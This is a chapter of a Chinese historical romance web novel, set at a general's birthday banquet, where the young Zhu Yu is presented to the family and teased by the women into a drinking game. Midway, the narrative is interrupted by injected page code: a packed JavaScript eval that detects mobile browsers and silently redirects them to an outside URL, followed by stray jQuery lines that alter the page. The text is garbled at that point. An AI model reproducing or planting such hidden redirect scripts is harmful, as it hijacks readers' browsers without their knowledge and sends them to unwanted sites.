十月初五,阳光普照,萧家老宅门庭若市,迎来热闹的寿辰大宴。
萧氏在岭北盘踞多年,家族子弟众多,前来道贺之人络绎不绝。百家贺礼堆满大厅,大堂摆着百寿图屏风,光是千年林芝就有上十株。
家仆来回穿行,忙碌斟茶送饮。宾客欢笑声连绵起伏,庭间搭了戏台子,舞姬翩然,贺声叫好声不断。
四通八达的院内小径挂满红灯笼,水池莲花层层重叠。摆台烛火烘燃,托盘上蟠桃散发着香气。
长桌间呈放各式寿酒,皆为上好陈酿,未揭坛便是扑鼻的酒香。孩童们追逐打闹,纷纷欲抢管家手中满满一篮的红包。
面对这样一出盛景,老爷子身着长寿喜服,被人搀扶而出于,面色看上去都比往日红润不少。
其子萧穆、萧俨早早就到了,帮忙安排大宴事宜。
底下几个弟弟妹妹也如约而至,扮相喜庆,走近道贺,并送上早已备好的生辰之礼。
待到午时,众人围拢恭寿,祈愿安康。得主人含笑点头,依次入座长席。
席间饭点菜式精致,厨房堆满传菜的家仆。醉翁把盏,觥筹交错,一顿饭吃得热热闹闹。不少人都喝得脸颊泛红,逐渐有了醉意。
祝妤晨起就随萧俨来到老宅,陪同的还有底下一众侍从,一起待了好几个时辰。从前参加过类似的寿宴,却不及这回繁盛。作为最边缘的小人物,祝妤自打进门便跟随二爷一帮人的脚步,在寿星前拜见。
萧俨今日盛装出席,衣襟绣着流云纹,墨冠束发,气宇夺人。
再探他的父亲,气色无异。眉眼间不怒自威,遥想从前应该也是位了不起的大人物。
正琢磨着,旁边的小禾示意她举杯,恭祝老将军福寿安康。
萧俨今天并没有想象中忙碌,毕竟他那爱出风头的大哥已经操持所有。因此他有更多的时间居于大堂饮酒,神情淡漠,时不时冲座上的亲爹颔首示意。
萧老爷的忠仆家福立在一旁,清点礼品,末了小心看向二爷,屈身向老将军汇报。
“老爷,这些便是二爷今日送来的贺礼,其中几样瞧着精致,是府上那位姑娘所赠。”
提到这,老爷子默了默,视线转向前方。
“姑娘?可是前日彦博提及那位?”
“回老爷,正是。”
家福如实禀明。
他缓缓动了动唇。
“仲凛,你那丫头有心了。人在哪?快带来让我看看。”
不只是他,就着漫天传闻,在座不少人也想瞧瞧二爷带回洛城那位姑娘,因此纷纷投来好奇的目光。
萧俨当然清楚祝妤送了些什么,当日狐疑之余也深知她的钱从何而来。
既然他决定带她来,便不打算藏着。
扬手唤来李奇,不动声色让他去传话。
祝妤坐在最边上,得人指示才搁下碗筷,起身走了过来。
来时得知场面特殊,小禾特意为她准备了一套新衣裳。杏色的织金袄裙,白色锦绣腰带。发髻顺垂,绑上特制锻式。看上去楚楚曼曼,尤为娇美。
如此出水芙蓉般的小佳人衬上相貌不凡的男子,一起出现在大堂,很容易引起旁人侧目。
知晓是老爷子亲自传见,姑娘态度恭顺,走近行了大礼。
“小女祝妤,给萧老将军见礼。祝您福泽绵长,寿喜安康。”
看她模样乖巧,出口话亦是喜庆,萧云毅让家福扶她起来。
“祝姑娘有礼了,快起来吧。”
老仆笑盈盈前去搀扶。
萧老爷缓和语气,不禁问道。
“姑娘今年多大,哪儿来的啊?”
她同样笑答。
“回老将军,我今年十五。之前随父在南城生活,自茱州而来。”
点点头算是明白,来回打量继续问。
“原来如此,你跟仲凛是怎么认识的?”
祝妤稍怔,仍旧一五一十。
“前些日子我自沧山归家,探亲途中与兄长走散。后逢将军相助,承蒙不嫌,就此成了朋友。”
话音落,萧老将军忽地扬眉。
“啧,这小子何时开始乐善好施了?”
有意无意的调侃,自然是对萧俨说的。
对此男人面不改色,沉默饮酒。
此话引来一阵笑声,打扮贵气的三姑母寻声望来,她眼睛最尖。一眼见到祝妤脖颈深处的物件,忍不住调笑。
“姑娘脖子上挂的可是萧家的马哨?”
出门前忘记取下,她始终带在身前。此刻被人发现,面上一愣,有些泛红。
听到这,萧俨难得停顿,下意识扫了姑娘一眼。
三姑母一脸会意,笑呵呵感叹。
“看来大哥这次又将添喜事啦?今逢寿辰,不甚欢喜。再过不久双喜临门,您可是得意。”
说完大家都将目光投向二爷与姑娘,眼神有戏,窃窃私语。
老爷子自是不多说,难得眼中露了笑。
祝妤张了张口想说些什么,抬眼正巧与萧俨视线相撞。不知为何,竟隐没了想说的话。
一场简单的碰面交谈很快结束。
席间又来了一批贺寿队伍,据说是从忽琅而来。里头有兰族人,也就是萧俨的母家。仔细观察,发现他们的眼睛都好漂亮,大方热情,还带来了不少贵重礼品。
冬寒渐起,梅香阵阵。室外已有些凉,萧老爷未待太久就进门了,留下宾客们继续待在外面饮酒。
饭后一众女眷居于花厅饮茶,交头耳语。祝妤小心翼翼寻了最边上的位置,得一时闲,低头接过茶盏。
厅内清一色女子,老少皆有。饮茶说笑,甚至起哄玩起了游戏
一帮女子待在一起很容易生出旁的事,比如萧俨的三姑母,作为酒局领头者,吆喝女眷们坐过来找些乐子。
漠北女子皆是豪放,对比外面一众男子,内室的她们亦是当仁不让。
眼看一群人开始围观叫嚣,祝妤老老实实待在角落,正想找机会出去透会儿气,三姑的眼神忽然望了过来。
刚才就已记住这丫头,面容姣好,肤如白玉。一双人畜无害的杏眼,不吭声不多言,低调得紧。
可她纵使再低调,大家也很难忽视她。尤其先才席间那一出。了解内情的人都知道她是什么身份,更难忽视她的存在。
对于这样的姑娘,好事的三姑母自然不会放过。没等她抬脚出门,先一步叫住她。
“祝姑娘别走,快过来。”
听见这声,祝妤顿住脚步。
“不知夫人唤我何事?”
客气问着,三姑母冲她笑。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142049|194320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“仲凛在外饮酒,你一个人坐在边上多无趣,快来让大家瞧瞧。”
大伙齐刷刷看向她,让本来想走的姑娘停顿,一时没了退路。
拗不过此番盛情,她也知礼,悄然走了过去。
几位扮相贵气的妇人寻声凑近,你一言我一语开始说道。
“这就是二爷带来的人?瞧着真是讨喜,不知您跟二爷是否好事将近?快跟我们说说吧。”
“就是就是,难得二爷还能带姑娘回家。以往见他独来独往惯了,我们私底下还说他要跟那些刀枪棍棒成亲了。”
“哎呀,姑娘可有定亲,没有的话趁着老将军身体健朗,快把好事办了吧。”
“嘁,你们怎知姑娘跟二爷就是传说中的那样,没准就真的只是朋友了,呵呵。”
调笑声一阵高过一阵,三姑母见好就收,作势不悦,冲她们眨了眨眼。
“呵呵,快别说了,姑娘要不好意思了。”
的确,每句矛头都指向一处,纵使再经得住,也会面上犯窘。
好在祝妤内心够沉稳,只当是宴席后的打趣。再者人多的地方是非也多,今日走这一趟,不让人调侃几句怕是很难。
听到末了本想解释,然而洪水般的簇拥再度来袭,她还未开口已经叫人说完了。
三姑母大气,是时候出来帮忙解围。本就跟着丈夫做了多年买卖,生意场上的行家。压根不忌讳这样的场面,加之她千杯不醉,更是横着走了。
为了转移注意力,她风情般的眼眸划过室外一群男子,忍不住扬声。
“你们瞧外头那些男子喝得多热闹,不如我们也来玩投壶饮酒的游戏吧?”
边陲女子跟关内有所不同,多数不忌讳某些礼节。闻言看向这头,面上皆露了笑,不由得开始激动。
“华盛夫人说的是,早就看那些男子闹腾,我等早已跃跃欲试,不如今日也来凑个热闹。”
华盛夫人是三姑母在外独有的称号。
她的提议得到大家一致赞成
女子勾唇,很快开始宣布。
“那我可得定个新规矩,今天谁投不中都得喝酒,连续三次不中加倍。我正好带了一坛妙春灵,你们谁要是不中可不许耍赖,在场所有人作证,必须喝。”
岭北这边的人都知道,妙春灵是此地难得一见的好酒。且后劲很大,几杯下肚很容易就醉了。
然而面对她的提议,竟无人反对,笑盈盈表态道。
“好好好,既然华盛夫人都立规矩了,咱们都同意,尽管放马过来。”
扫过在场所有人,确定都没有反对的意思,三姑母大气出口。
“既无异议,来人,备箭。”
语毕立刻有小厮上前张罗。
片刻之后,整理好的箭封火速送了上来。妇人耐心等着,见酒先一步被呈上,满满两大坛子,酒香味瞬间弥漫开来,耐不住动员大伙开始先饮。仆人仔仔细细选定位置,挑了不算太难的连壶,毕竟还要照顾现场某些不会玩的女眷。商量再三,把连壶抬到了三步开外的窗前。
直到所有物件都准备齐全,三姑母满脸笑意冲着不远处刚想离开的姑娘高声。
“祝姑娘,远道而来便是客,不如你第一个试试,如何?”
她一顿,手指抚过门沿,眸子逐渐抬起。